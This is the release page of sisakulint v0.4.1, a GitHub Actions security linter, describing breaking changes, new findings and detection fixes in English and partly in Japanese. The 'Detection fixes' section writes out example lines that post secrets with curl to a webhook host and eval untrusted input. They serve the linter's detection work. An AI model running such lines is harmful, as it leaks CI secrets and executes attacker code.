Repository navigation
v0.4.1
sisakulint v0.4.1
日本語版はこのページの後半(「sisakulint v0.4.1(日本語)」)にあります。
v0.4.1 is the first update of the v1 linter after v0.4.0. It has 33 pull requests: 26 to the linter and its tests, and 7 Dependabot updates of the actions that the CI of this repository uses. The flags, the exit-code bits, and the names of the JSON schemas stay as in v0.4.0, with one exception: --no-assumptions and the configuration key no-assumptions are removed, because a run now treats every fact that no source answers as not known, as v0.4.0 did with --no-assumptions.
Important
On the same workflows, v0.4.1 can exit with a different code from v0.4.0. A Finding that v0.4.0 reported as confirmed because of an assumed fact is conditional in v0.4.1, and sets bit 2 instead of bit 1. A CI gate that checks only bit 1 (code & 1) passes such a Finding. Fail the gate on any of bits 1, 2, 8, and 16, or answer the facts (--online --repo "$GITHUB_REPOSITORY", --facts, --fact, or fact in --config).
Highlights
- No assumed facts (#742). When no source (
--fact, a file under--root,--facts,--online) answers a fact, aFindingthat depends on the fact isconditional, and the Report names the fact.--no-assumptionsis removed. - A new finding kind,
credentials.configuration-variable(#749). A registry password read from a configuration variable (${{ vars.NAME }}) is reported (medium). - Trusted self-hosted runners (#744, #792). The new fact
repo.runner-label-trusteddeclares a runner label that no pull request from a fork reaches, andself-hosted-runnerdoes not report a job whoseruns-onhas the label. Aruns-onthat reads only matrix values is evaluated. - The AI agent rules read the env of the job and of the workflow (#780).
- The Report says what a run did not read. The new field
unread_uses(andnot readlines in the text output) lists the reusable workflows and actions of other repositories that a run did not read (#811). The new inconclusive kindcommit-sha.local-callee-unreadreports a./callee that is not among the read files (#786). - Fewer missed findings and fewer false positives. The fixes are in the reading of scripts (
bash -c '…',declare "$n=…",git -c, parameter expansions), in reachability (if: falsesteps, jobs that never run on the events of the workflow, theifof a caller job), in local composite actions and local reusable workflows, and in several rules. See "Detection fixes".
Before you upgrade (breaking changes)
A fact that no source answers is not known (#742)
v0.4.0 answered a fact that no source answered with an assumed value (the worst case, the x-assume of the fact kind), and gave a confirmed Finding. v0.4.1 does not assume a value: the fact is not known, and a Finding whose condition depends on the fact is conditional. A default run of v0.4.1 gives the same Findings as a run of v0.4.0 with --no-assumptions.
Measured on the all-rules example of v0.4.0 (actions/rules/testdata/all-rules, with its facts.json):
| v0.4.0 | v0.4.1 | v0.4.0 with --no-assumptions |
|
|---|---|---|---|
confirmed |
130 | 90 | 90 |
conditional |
0 | 46 | 46 |
inconclusive |
23 | 23 | 23 |
| Exit code | 9 (bits 1 + 8) | 11 (bits 1 + 2 + 8) | 11 |
40 Findings changed from confirmed to conditional, and 6 Findings were added. The conditions of that run name the facts repo.public, repo.default-token-write, repo.wiki-open, repo.pull-request-target-allowed, repo.fork-pr-run-workflows, repo.allow-forking, checkout.executed, download.executed, repo.environment-protected, and request.destination-trusted.
What changes:
- Exit code. A run that set bit 1 only because of an assumed fact sets bit 2 instead. A gate that fails on every non-zero exit code fails as before.
- The Findings of both answers. Where the finding kind depends on the answer to a fact, the run reports the Finding of each answer, both
conditional. Withrepo.publicnot known:self-hosted-runner.publicandself-hosted-runner.private, and the.publicand.privatekinds ofcredentials,unmasked-secret-exposure, andsecret-in-log. The 6 added Findings above are such*.privateFindings. A consumer that does not readcertaintysees more rows. - Text output. The line
assumed: FACT = VALUE (--no-assumptions to drop)is gone. Theconditionalsection lists each finding kind with the facts that are not known and their reason (why:). The reason names the sources that can answer a fact of the kind:offline: pass --facts or --online;offline: pass --facts or --fact, or --online with --repofor a fact of the repository;offline: pass --facts or --fact (--online answers no fact of the kind)for a kind such ascheckout.executed;not in the file of factswhen--factswas given. - SARIF. A
conditionalresult keeps thelevelof its severity.properties.certaintyisconditional, and the message ends with the condition, for example(conditional: the run does not know the answer to the fact repo.default-token-write, and the finding holds for some answers to the fact and not for others; --facts or --fact can give the answer). The fingerprints do not change: on the all-rules example, the 237 results of v0.4.0 have the sameruleIdandpartialFingerprintsin v0.4.1, and the 6*.privateresults are new. - Texts.
--explain, the README,MIGRATION.md, the schemas, and the notes of the examples say that aFindingisconditionalwhen no source answers the fact, instead of saying that the fact is assumed. For the fact kinds of a false positive form,--explainshows "answer that removes the finding" (the opposite of thex-assumevalue). The example catalog marks the facts of a flipped run "(flipped)".
What to do: answer the facts.
--online --repo "$GITHUB_REPOSITORY"(withGITHUB_TOKEN) asks the API for the facts of the repository (repo-setting).repo.default-token-writeneeds a token that can read the Actions settings of the repository; theGITHUB_TOKENof a run cannot.repo.pull-request-target-allowedis never asked of the API.- Only a user answers
checkout.executed,download.executed,request.destination-trusted,repo.action-list, andrepo.runner-label-trusted. Write them in a facts file, with--fact, or infactof--config.
--no-assumptions and the configuration key no-assumptions are removed (#742)
| Input | v0.4.1 |
|---|---|
--no-assumptions |
flag provided but not defined: -no-assumptions, exit code 64 |
no-assumptions: in the file of --config |
no-assumptions: not a key (the keys are exclude, fail-on, rule, skip-rule, accept, facts, repo, fact and add-attacker), exit code 66 |
Remove the flag and the key. The default run behaves as --no-assumptions did. no-assumptions was the only boolean key of the configuration file, so the boolean form of a key is removed too.
Schemas (the names stay v0)
The names of the schemas do not change, but their content does. As the notes of v0.4.0 said, the JSON schemas are not promised to stay compatible in the 0.x releases.
sisakulint/facts/v0- The value
assumptionofsourceis removed. A facts file never had that source (v0.4.0 refused such a file with exit code 66, and v0.4.1 does too), so a facts file that v0.4.0 wrote with--write-factsis read by v0.4.1 as before. An entry offactswithsource: assumptionin a Report of v0.4.0 does not validate against the schema of v0.4.1. x-assumestays, with a new meaning: the answer under which the findings of the false positive forms that name the kind hold. The opposite answer removes those findings. A run never answers a fact withx-assume.- A new fact kind,
repo.runner-label-trusted(argumentsrepoandrunner_label), and the new definitionrunner-label. The schema has 30 fact kinds (29 in v0.4.0).
- The value
sisakulint/report/v0: a new required field,unread_uses(see below). The Report object hasadditionalProperties: false, so a Report of v0.4.1 does not validate against the report schema of v0.4.0. The description ofcertainty: confirmedno longer mentions assumed values.- The arguments of the finding kinds (
findings-v0.json): the newcredentials.configuration-variable(container,password). The description ofai-action-prompt-injection.envnow includes the env of the job and of the workflow. sisakulint/registry/v0: descriptions only.
Other changes that can change the exit code
credentials(#749). A password that readsvars, and no context other thanvarsandsecrets, wascredentials.password-expr:inconclusive, bit 8, counted at the worst severity of the rule (critical). It is nowcredentials.configuration-variable:confirmed, medium, bit 1. With--fail-on highor--fail-on critical, the place no longer sets a bit.commit-sha(#786). A run that reads a caller but not its./callee givescommit-sha.local-callee-unread(inconclusive, bit 8). For example, whencaller.ymlhasuses: ./.github/workflows/callee.yml,sisakulint --root . .github/workflows/caller.ymlexited with 0 in v0.4.0, and exits with 8 in v0.4.1. Pass the callee too (… caller.yml callee.yml), use--read-all caller.yml, or accept the place with--accept.- Detection fixes. The fixes in "Detection fixes" add Findings that v0.4.0 missed, and remove Findings that were false positives.
What's new
credentials.configuration-variable (#749)
credentials reports a registry password of a container or of services that reads a configuration variable, such as ${{ vars.REGISTRY_PASSWORD }}, as the new finding kind credentials.configuration-variable (medium, confirmed, whatever repo.public is). GitHub keeps the value of a configuration variable as plain text: the runner does not mask the value in the log of a run, and the REST API gives the value to whoever may read the configuration variables of the repository, such as an app with the Variables permission. The remedy is to revoke the password and pass a new one from secrets.
- A password that reads both
secretsandvars(secrets.PW || vars.PW) is reported too: where the secret is not set, the value is the value of the variable. credentials.password-expr(inconclusive) now covers the other contexts (env,inputs,matrix), and acontainerwritten as one whole${{ }}.- CVSS v4.0:
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:U. The attacker islog-reader, and the precondition isplain-text-variable.
Trusted self-hosted runners (#744, #792)
-
The fact
repo.runner-label-trusted(user-supplied;--onlinenever asks it). The owner declares, once for each label, that no runner with the label runs the code of a pull request from a fork, for example because the runners are in a runner group that only selected workflows on protected refs may use. A job runs only on a runner that has every label of itsruns-on, soself-hosted-runnerdoes not report a job whoseruns-onhas a trusted label. A label that no source answers is not trusted: without a declaration, the Findings are the same as before. The fact does not enter the condition of a Finding, so aconfirmedFinding does not becomeconditional.# .github/sisakulint-config.yaml, passed with --config fact: - 'repo.runner-label-trusted[runner_label=gh-intel-fast]=true' - 'repo.runner-label-trusted[runner_label=gh-intel-economy]=true'
Labels compare without case. With
--repo, write the argumentrepotoo (repo.runner-label-trusted[repo=owner/name,runner_label=gh-intel-fast]=true), because an entry withoutrepodoes not match a query withrepo. Do not declareself-hosted, which every self-hosted runner has, or a label that a GitHub-hosted runner or a runner of another repository may also have. A declaration removes Findings, as the configuration file can, so protect the file with CODEOWNERS or read it from the base branch. -
Matrix expressions in
runs-on. Aruns-onthat is one whole${{ }}and reads only matrix variables whose values are all written is evaluated for each combination of the values (at most 256), instead of beingself-hosted-runner.runs-on-expr(inconclusive). Example:${{ matrix.r == 'x' && fromJSON('["self-hosted","x"]') || matrix.r }}. -
A
runs-onthat the rule cannot read (runs-on-expr,input-dispatch), such as${{ vars.X || 'label' }}, is not reported when the facts answer that no pull request from a fork reaches a runner of the repository:repo.public=false, andrepo.fork-pr-run-workflows=falseorrepo.allow-forking=false(#792, closes #793). The run asks those facts only when such aruns-onexists. -
The remedies of
self-hosted-runner.publicandself-hosted-runner.privatename the fact.
The AI agent rules read the env of the job and of the workflow (#780)
ai-action-prompt-injection, ai-action-excessive-tools, ai-action-execution-order, and ai-action-unsafe-sandbox count the values of the env of the job and of the env of the workflow as values that reach the agent step, because the runner gives those variables to the process of the action. For example, a job with env: ISSUE_BODY: ${{ github.event.issue.body }} and a step of google-github-actions/run-gemini-cli that reads ISSUE_BODY now gives ai-action-prompt-injection.env at the env of the job. v0.4.0 reported nothing there.
- A variable of the env of the step hides the variable of the same name of the env of the job and of the workflow, and a variable of the env of the job hides the variable of the same name of the env of the workflow. Where
runs-ondecides a Windows runner, the names compare without case, asactions/runnercompares them on Windows.runs-ondecides Windows only by the labelwindowsof a self-hosted runner, or when every label is a label of a GitHub-hosted Windows runner; never when a label islinuxormacOS. A custom label such aswindows-builddoes not decide Windows. - An env of the step or of the job that is one whole
${{ }}may set a variable of any name, so the rules do not read the outer envs of that env. - The rules do not read a write to
$GITHUB_ENVin an earlier step as replacing a value of the env of the job or of the workflow, because theifof the step, the branches of the script, and the steps between decide whether the write happens. ai-action-prompt-injectionreports each reference in a value of the env of the job or of the workflow once, at the env, after reading all the agent steps that the value reaches: the Finding with no condition when a step gives one; otherwise the Finding with a condition, together with theInconclusiveplaces of the other steps; otherwise oneInconclusiveplace for each kind. Every step gives such a reference the same fingerprint.- With
--add-attacker variables-writerorsecrets-writer, the note in the evidence of a value ofvarsorsecretsnames the variable of the env of the job or of the workflow that the value goes through. - New declarations: the false positive forms
unknown-os-caseandgithub-env-write(the four rules); the undetected formsjob-env-composite(the four rules: the agent step is a step of a composite action),whole-env(ai-action-excessive-tools,ai-action-execution-order, andai-action-unsafe-sandbox), andwindows-label-other-os(the four rules). The undetected formwhole-withofai-action-prompt-injectionnow covers the env of the job and of the workflow. The undetected formsjob-envandjob-env-value-runare removed, and their examples are true positives.
unread_uses: the uses that a run did not read (#811)
In a run without --online and without an answer in --facts, the rules do not read the reusable workflows and the actions of other repositories, and the Report of v0.4.0 said nothing about it. v0.4.1 lists each such uses in the new Report field unread_uses: its location, the uses as written, the fact (query: workflow.definition for the uses of a job, action.definition for the uses of a step), and the reason (offline: pass --facts or --online, not in the file of facts, or no rule that ran asked the fact when --rule ran no rule that asks the fact).
- There is one entry for each place, whatever the rules that ran. A place whose fact was answered (
--facts) or asked (--online) is not listed. - The text output prints one line for each entry, after the
not runlines:not read FILE:LINE:COLUMN USES: KIND: REASON. - An entry is not a
Finding: it sets no bit of the exit code, and--acceptdoes not apply to it.--format lineand SARIF do not print the entries.
commit-sha.local-callee-unread (#786)
commit-sha said nothing when the file of a ./ callee was not among the read files, so the uses inside the callee were not checked. v0.4.1 reports the new inconclusive kind local-callee-unread (disposition todo, needs repo-file) at the uses of the caller, for a job that calls ./.github/workflows/<file> and for a step of a workflow that uses ./<dir>. A job that never runs is left out. The ./ steps inside a composite action are not covered, because they name the workspace of the job.
secret-exfiltration in a fork-only pull_request job (#809)
A pull_request run for a pull request from a fork gets no secret except GITHUB_TOKEN, unless the repository sends secrets to the workflows of pull requests from forks. For a job whose if lets only pull requests from forks through (for example github.event.pull_request.head.repo.fork == true), and for a secret other than GITHUB_TOKEN, the condition of secret-exfiltration.untrusted-destination is now request.destination-trusted = false and repo.fork-pr-secrets = true. With repo.fork-pr-secrets=false, the rule reports nothing; without an answer, the Finding is conditional. A job with no if, a job whose if also lets pull requests from branches of the repository through, and a workflow with another event (on: [pull_request, push]) keep the Finding.
--add-attacker with two values (#803)
A Finding marked with more than one added attacker carries the evidence and the related entries of the run of each attacker. v0.4.0 kept the entries of one run only, and lost, for example, the vars.* note of ai-action-excessive-tools under --add-attacker variables-writer,secrets-writer.
Detection fixes
Findings that v0.4.0 missed
bash -candsh -c(#748). The code after-cofbashorshthat is one word in single quotes is read as a script of its own, also with a wrapper such assudoand with clustered options such as-ec. The rules that read code, requests, and writes to$GITHUB_ENV,$GITHUB_PATH, and$GITHUB_OUTPUTin a script read it:bash -c 'eval "$T"'(code-injection),bash -c 'echo "X=$T" >> "$GITHUB_ENV"'(envvar-injection),sh -c 'curl -d "$TOK" …'(secret-exfiltration). A variable that the script assigns before the command does not count as the value of the env. Code in double quotes and concatenated code are still not read (the undetected formsenv-variable-nestedandnested-shellare narrowed to those).declare "$n=…"(#794).declare,declare -g,local,export, andreadonlywith a word"$n=value"(or${n}=value) are read as an assignment whennholds one literal name on every path. For example,n=out; declare "$n=$GITHUB_ENV"; echo "V=$V" >> "$out"is nowenvvar-injection.controlled. The formsname-not-literalare narrowed to annwith no single literal name, such asn=$(printf NAME).- Several values of a destination (#788).
secret-exfiltrationand the reading of requests judge every assignment of a variable that reaches the destination word (up to 8 values for each word), not only the last one in the text.if c; then U=https://hooks.example.com; else U=https://api.github.com; fi; curl -d "$SECRET" "$U"is nowsecret-exfiltration.untrusted-destination. Still undetected: a value that goes through a copy (U=$A, formseveral-destination-values), two variables that are set together (several-destination-variables), and more than 8 assignments (destination-value-limit). - A whole
withof a local composite action (#806). When a step writeswithas one${{ }}(with: ${{ fromJSON(github.event.issue.body) }}), every input of the local composite action gets the whole expression, so the rules that readinputs.<id>inside the action report it. cache-poisoninginside local composite actions (#754). The kindsattacker-keyandattacker-pathread theactions/cacheandactions/cache/savesteps inside the local composite actions that a job runs. The Finding is at the step inaction.yml, and its evidence names theusesof the caller.actions/labelerinside local reusable workflows and composite actions (#757). A labeler step there is read on the events that its callers in the repository run it on (filtered by theifof the callers).untrusted-checkout,cache-poisoning,ai-action-unrestricted-trigger,unsound-contains, andartifact-poisoningno longer read such a labeled run as approved by a person. The undetected formlabeler-callis removed from the five rules.artifact-poisoningin alabeledrun (#810). A run in which one job builds the code of the pull request and uploads an artifact, and another job of the same run downloads and runs it, is reported when the label is free for the attacker (for example,actions/labeleradds it). A job with an environment is still excluded. The undetected formlabeler-same-runis removed.untrusted-checkoutandartifact-poisoning(#820) report.executedinstead of.checkoutor.download(which depend oncheckout.executedordownload.executed) forbun,deno(task,run,test,bench,serve,install),cargo +<toolchain> …, the camelCase names of npm commands (npm cleanInstall),rake -C/--directory/-f/--rakefile,bundle --gemfile, and the operands ofdotnet(dotnet build pr/app.csproj).unmasked-secret-exposure(#821). An output such as${{ toJSON(github.event_name == 'push' && env) }}-…or${{ env[github.event_name] }}-…is followed to the jobs that read it. v0.4.0 read such an output as one that the runner drops. The undetected formoutput-with-secretis narrowed to a secret that is empty in some runs.bot-conditions(#747). A reusable workflow whose callers are not all known, such as one that a workflow of the same repository calls byowner/repo/.github/workflows/<file>@<ref>, is read on every event, so a comparison with a bot in it is reported. The undetected formcaller-by-repository-nameis removed.
False positives that v0.4.1 removes
- Steps and jobs that never run (#746). A
runstep whoseifis false on every event of the workflow (if: false) gives no Finding. Ausesstep still does, because the pre step of an action runs whatever itsifis.github.event.pull_request.mergedis false onopenedandreopenedofpull_requestandpull_request_target, so a job withif: github.event.pull_request.merged == trueon those types never runs. The false positive formpermissions.job-never-runsis removed. - A local reusable workflow whose callers never run (#797). A local reusable workflow gives no Finding when its
onhas onlyworkflow_call, all its callers are known, and every caller job never runs (or is itself in such a workflow). - Steps that never run, in two more rules (#796). In
untrusted-checkout, a step that never runs no longer makes a checkout.executed(with no other step, the Finding is.checkout, conditional oncheckout.executed).unmasked-secret-exposureleaves out arunstep that never runs. - The events of a workflow (#753). One reading of
onis shared by the rules.pull_requestandpull_request_targetwithouttypesrun onopened,synchronize, andreopened. In a called workflow,github.event_nameis the event of the caller, neverworkflow_call. So a job withif: github.event.action == 'closed'underon: pull_request, and a job withif: github.event_name == 'workflow_call'in a called workflow, never run and give no Finding. Thesaves_onofcache-bloatis sorted (pull_request,push). - The
ifof a caller (#747). Anifof a caller job that narrows a value (for examplegithub.head_ref) also narrows the value inside the called workflow and the composite action, when theifof every caller chain narrows it. git -c(#750). The value ofgit -c KEY=VALUE(and--config-env) counts as code only when KEY is not one of the keys whose value git keeps as data (user.name,user.email,author.*,committer.*,core.autocrlf,init.defaultBranch,http.extraHeader, and others), when the key is not literal, or when the word has an expansion outside quotes.git -c user.name="$TITLE" commitis no longercode-injection.env-variable. A data key outside the list (such asmerge.conflictStyle) is still reported (the false positive formgit-config-valueis narrowed to it).- Parameter expansions that remove every line break (#799).
envvar-injectionreads the pattern of${V%%X*}and${V##*X}as bash does, and gives no Finding when X is a quoted line break, or a bracket expression with a line break,[:space:], or[:cntrl:](for example%%[[:space:]_]*,%%[$' \n']*,##*[[:space:]]).%,#,[:blank:],[ ], a negation, and a missing*still give a Finding. - Fork-only
pull_requestjobs insecret-exfiltration(#809) andruns-onthat the rule cannot read inself-hosted-runner(#792): see "What's new". declare "$n=…"with one literal name (#794) gives no Finding where the assignment makes the value safe, incode-injection,request-forgery,set-output-injection, andunsecure-commands.
The declarations in the registry
--registry has 79 finding kinds (78 in v0.4.0), 261 inconclusive kinds (260), 613 undetected forms (611), and 387 false positive forms (380).
| Change | Declarations |
|---|---|
| Finding kind added | credentials.configuration-variable |
| Inconclusive kind added | commit-sha.local-callee-unread |
| Undetected forms added | job-env-composite (4 AI agent rules), whole-env (3), windows-label-other-os (4), secret-exfiltration.destination-value-limit, secret-exfiltration.several-destination-variables |
| Undetected forms removed | job-env and job-env-value-run (AI agent rules), labeler-call (ai-action-unrestricted-trigger, artifact-poisoning, cache-poisoning, unsound-contains, untrusted-checkout), artifact-poisoning.labeler-same-run, bot-conditions.caller-by-repository-name |
| Undetected forms narrowed | env-variable-nested, nested-shell, name-not-literal, several-destination-values, output-with-secret |
| False positive forms added | unknown-os-case, github-env-write (4 AI agent rules) |
| False positive forms removed | permissions.job-never-runs |
| False positive forms narrowed | code-injection.git-config-value, name-not-literal |
Build, packaging, and development
- Release assets:
sisakulint_0.4.1_darwin_amd64.tar.gz,sisakulint_0.4.1_darwin_arm64.tar.gz,sisakulint_0.4.1_linux_amd64.tar.gz,sisakulint_0.4.1_linux_arm64.tar.gz,sisakulint_0.4.1_linux_armv6.tar.gz, andsisakulint_0.4.1_checksums.txt, as in v0.4.0. - Go and dependencies: go.mod still requires Go 1.26.11, and the linter still requires no third-party module.
- Tests: the example
undetected/code-injection/env-variable-coproc.ymlread the output of a coproc after the coproc could exit, soTestExampleAttackssometimes gotno harm. The example now copies the descriptor first (#790, fixes #789). - CI of this repository (Dependabot):
github/codeql-actionv4.37.4 → v4.39.4 (#573, #775),actions/upload-artifact7.0.1 → 7.0.2 (#665),goreleaser/goreleaser-action7.2.3 → 7.3.0 (#666),ossf/scorecard-action2.4.4 → 2.6.0 (#667, #777),actions/setup-go7.0.0 → 7.1.0 (#776). These change only the workflows of this repository.
Compatibility from here
The JSON schemas are still sisakulint/report/v0, sisakulint/registry/v0, sisakulint/facts/v0, and sisakulint/acceptances/v0. As with v0.4.0, later 0.x releases do not promise that the JSON schemas and the Go packages stay compatible.
Upgrade checklist
- Remove
--no-assumptionsfrom scripts and the keyno-assumptionsfrom configuration files. - Check the exit-code handling: a run can set bit 2 where it set bit 1. Fail on any of bits 1, 2, 8, and 16.
- Run once with
--format json(or read theconditionalsection of the text output) and answer the facts that are not known:--online --repo "$GITHUB_REPOSITORY", a facts file,--fact, orfactin--config. - If your jobs run on self-hosted runners that no pull request from a fork reaches, declare their labels with
repo.runner-label-trusted. - If you lint only some files, pass the
./callees too, or use--read-all, so thatcommit-sha.local-callee-unreaddoes not set bit 8. - If you validate the Report or the facts file against the schemas, use the schemas of v0.4.1.
- Read
unread_usesto see theusesthat a default run did not read, and give--onlineor--factsto read them.
Pull requests
- #742 Give conditional Findings for unknown facts instead of assuming the worst-case value, and remove
--no-assumptions(closes #727) (@on-keyday) - #744
self-hosted-runner: trusted runner labels and matrixruns-onexpressions (@HikaruEgashira) - #746 Decide the reachability of jobs and steps in one place and apply it to every rule (fixes #714) (hikaevi[bot])
- #747 Carry the
ifof the caller job and the set of callers into the reading of a called workflow (fixes #715) (hikaevi[bot]) - #748 Read the code of
bash -candsh -cas nested scripts in every rule that reads the flow of a script (fixes #716) (hikaevi[bot]) - #749 Report a registry password read from a configuration variable (@HikaruEgashira)
- #750 Stop treating every
git -cvalue as code (fixes #718) (hikaevi[bot]) - #753 Compute the events of a job and whether it runs only when called in one shared function (fixes #713) (hikaevi[bot])
- #754 Read the
cache-poisoningkindsattacker-keyandattacker-pathinside local composite actions (fixes #719) (hikaevi[bot]) - #757 Read
actions/labelerinside local reusable workflows and composite actions (fixes #720) (hikaevi[bot]) - #780 Count the env of the job and of the workflow as values that reach an AI agent step (closes #722; continues #758 by hikaevi[bot]) (@on-keyday)
- #786
commit-sha: report anInconclusivewhen a local callee is not among the read files (fixes #721) (hikaevi[bot]) - #788 Judge every reaching assignment of a variable in the secret flow and in request destinations (fixes #755) (hikaevi[bot])
- #790 Make the coproc example of
TestExampleAttacksdeterministic (fixes #789) (hikaevi[bot]) - #792
self-hosted-runner: leave out an unreadruns-onwhen no pull request from a fork reaches a runner (closes #793) (@HikaruEgashira) - #794 Read
declare "$n=..."as an assignment whennhas one known literal value (fixes #756) (hikaevi[bot]) - #796 Make
untrusted-checkoutandunmasked-secret-exposureread the never-runs answer of a step (fixes #763) (hikaevi[bot]) - #797 Give no Finding in a local reusable workflow whose only caller jobs never run (fixes #764) (hikaevi[bot])
- #799
envvar-injection: no Finding for a value from which a parameter expansion removed every line break (fixes #692) (hikaevi[bot]) - #803 With two
--add-attackervalues, keep the evidence of every attacker (fixes #694) (hikaevi[bot]) - #806 Read an attacker-controlled value passed to a local composite action as a whole
with(fixes #695) (hikaevi[bot]) - #809
secret-exfiltration: no Finding for a fork-onlypull_requestjob whenrepo.fork-pr-secretsis false (fixes #804) (hikaevi[bot]) - #810
artifact-poisoning: report alabeledrun that runs an artifact built from the pull request by another job of the same run (fixes #697) (hikaevi[bot]) - #811 List the reusable workflows and actions of other repositories that a run did not read (
unread_uses) (fixes #696) (hikaevi[bot]) - #820
untrusted-checkout: report.executedfor bun, deno,cargo +toolchain, camelCase npm commands, and rake, bundle and dotnet given a path into the checkout (fixes #699) (hikaevi[bot]) - #821
unmasked-secret-exposure: followA && Bandenv[INDEX]with an unknown INDEX (fixes #817) (hikaevi[bot]) - #573, #665, #666, #667, #775, #776, #777 Dependabot updates of the actions of the CI (dependabot[bot])
Full Changelog: v0.4.0...v0.4.1
sisakulint v0.4.1(日本語)
v0.4.1 は、v0.4.0 以降で最初の v1 linter の更新です。プルリクエストは 33 件で、linter とそのテストへの変更が 26 件、このリポジトリの CI が使う action の Dependabot による更新が 7 件です。フラグ、exit code のビット、JSON スキーマの名前は v0.4.0 のままですが、例外が 1 つあります。--no-assumptions と設定キー no-assumptions を削除しました。どこからも回答のない fact を、常に不明として扱うようになったためです(v0.4.0 で --no-assumptions を付けたときと同じ動作です)。
Important
同じ workflow に対して、v0.4.1 は v0.4.0 と異なる exit code を返すことがあります。v0.4.0 が仮定した fact によって confirmed と報告していた Finding は、v0.4.1 では conditional になり、ビット 1 の代わりにビット 2 を立てます。ビット 1 だけを確認する CI ゲート(code & 1)は、そのような Finding を通してしまいます。ゲートはビット 1、2、8、16 のいずれかが立っていたら失敗させるか、fact に回答してください(--online --repo "$GITHUB_REPOSITORY"、--facts、--fact、--config の fact)。
ハイライト
- fact を仮定しない(#742)。 どこからも(
--fact、--root以下のファイル、--facts、--online)回答のない fact に依存するFindingはconditionalになり、Report にその fact が示されます。--no-assumptionsは削除しました。 - 新しい finding kind
credentials.configuration-variable(#749)。 configuration variable(${{ vars.NAME }})から読んだレジストリのパスワードを報告します(medium)。 - 信頼済みの self-hosted runner(#744、#792)。 新しい fact
repo.runner-label-trustedで、フォークからのプルリクエストが届かない runner のラベルを宣言できます。runs-onにそのラベルを持つジョブをself-hosted-runnerは報告しません。matrix の値だけを読むruns-onは評価されるようになりました。 - AI エージェントのルールが、ジョブと workflow の env を読むようになりました(#780)。
- 実行が読まなかったものを Report が示すようになりました。 新しいフィールド
unread_uses(とテキスト出力のnot read行)に、実行が読まなかった他リポジトリの reusable workflow と action を列挙します(#811)。新しい inconclusive kindcommit-sha.local-callee-unreadは、読んだファイルに含まれない./の呼び出し先を報告します(#786)。 - 見逃しと誤検知の削減。 スクリプトの読み取り(
bash -c '…'、declare "$n=…"、git -c、パラメータ展開)、到達性(if: falseのステップ、workflow のイベントでは実行されないジョブ、呼び出し元ジョブのif)、ローカルの composite action とローカルの reusable workflow、いくつかのルールを修正しました。「検出の修正」を参照してください。
アップグレードの前に(破壊的変更)
どこからも回答のない fact は不明として扱う(#742)
v0.4.0 は、どこからも回答のない fact に仮定の値(最悪の場合、fact kind の x-assume)で回答し、confirmed の Finding を出していました。v0.4.1 は値を仮定しません。その fact は不明となり、条件がその fact に依存する Finding は conditional になります。v0.4.1 のデフォルトの実行は、v0.4.0 を --no-assumptions 付きで実行したときと同じ Finding を返します。
v0.4.0 の all-rules の例(actions/rules/testdata/all-rules、同梱の facts.json を使用)での測定結果:
| v0.4.0 | v0.4.1 | v0.4.0 + --no-assumptions |
|
|---|---|---|---|
confirmed |
130 | 90 | 90 |
conditional |
0 | 46 | 46 |
inconclusive |
23 | 23 | 23 |
| exit code | 9(ビット 1 + 8) | 11(ビット 1 + 2 + 8) | 11 |
40 件の Finding が confirmed から conditional に変わり、6 件の Finding が増えました。この実行の条件に現れた fact は、repo.public、repo.default-token-write、repo.wiki-open、repo.pull-request-target-allowed、repo.fork-pr-run-workflows、repo.allow-forking、checkout.executed、download.executed、repo.environment-protected、request.destination-trusted です。
変わる点:
- exit code。 仮定した fact のためだけにビット 1 を立てていた実行は、代わりにビット 2 を立てます。0 以外の exit code で失敗するゲートは、これまでどおり失敗します。
- 両方の回答の Finding。 fact の回答によって finding kind が変わる箇所では、それぞれの回答の Finding を両方とも
conditionalとして報告します。repo.publicが不明な場合、self-hosted-runner.publicとself-hosted-runner.private、およびcredentials、unmasked-secret-exposure、secret-in-logの.publicと.privateです。上で増えた 6 件は、この*.privateの Finding です。certaintyを読まない利用者には、行が増えたように見えます。 - テキスト出力。
assumed: FACT = VALUE (--no-assumptions to drop)の行はなくなりました。conditionalの節に、finding kind ごとに不明な fact とその理由(why:)を表示します。理由は、その kind の fact に回答できる手段を示します。offline: pass --facts or --online、リポジトリの fact ではoffline: pass --facts or --fact, or --online with --repo、checkout.executedなどの kind ではoffline: pass --facts or --fact (--online answers no fact of the kind)、--factsを渡したときはnot in the file of factsです。 - SARIF。
conditionalの result は、severity に応じたlevelのままです。properties.certaintyはconditionalになり、メッセージの末尾に条件が付きます(例:(conditional: the run does not know the answer to the fact repo.default-token-write, and the finding holds for some answers to the fact and not for others; --facts or --fact can give the answer))。fingerprint は変わりません。all-rules の例では、v0.4.0 の 237 件の result は v0.4.1 でも同じruleIdとpartialFingerprintsを持ち、6 件の*.privateが新しい result です。 - 文書。
--explain、README、MIGRATION.md、スキーマ、例の注記は、fact を仮定すると書く代わりに、どこからも回答がなければFindingはconditionalになると書くようになりました。false positive form の fact kind について、--explainは「answer that removes the finding」(x-assumeの値の反対)を表示します。例のカタログでは、回答を反転した実行の fact に「(flipped)」と付きます。
対応: fact に回答してください。
--online --repo "$GITHUB_REPOSITORY"(GITHUB_TOKENが必要)は、リポジトリの fact(repo-setting)を API に問い合わせます。repo.default-token-writeには、リポジトリの Actions の設定を読めるトークンが必要です。実行中のGITHUB_TOKENでは読めません。repo.pull-request-target-allowedは API に問い合わせません。checkout.executed、download.executed、request.destination-trusted、repo.action-list、repo.runner-label-trustedに回答できるのは利用者だけです。facts ファイル、--fact、--configのfactに書いてください。
--no-assumptions と設定キー no-assumptions を削除(#742)
| 入力 | v0.4.1 |
|---|---|
--no-assumptions |
flag provided but not defined: -no-assumptions、exit code 64 |
--config のファイルの no-assumptions: |
no-assumptions: not a key (the keys are exclude, fail-on, rule, skip-rule, accept, facts, repo, fact and add-attacker)、exit code 66 |
フラグとキーを削除してください。デフォルトの実行が、これまでの --no-assumptions と同じ動作をします。no-assumptions は設定ファイルで唯一の真偽値のキーだったため、真偽値のキーの形式もなくなりました。
スキーマ(名前は v0 のまま)
スキーマの名前は変わりませんが、内容は変わります。v0.4.0 のリリースノートに書いたとおり、0.x のリリースでは JSON スキーマの互換性を約束していません。
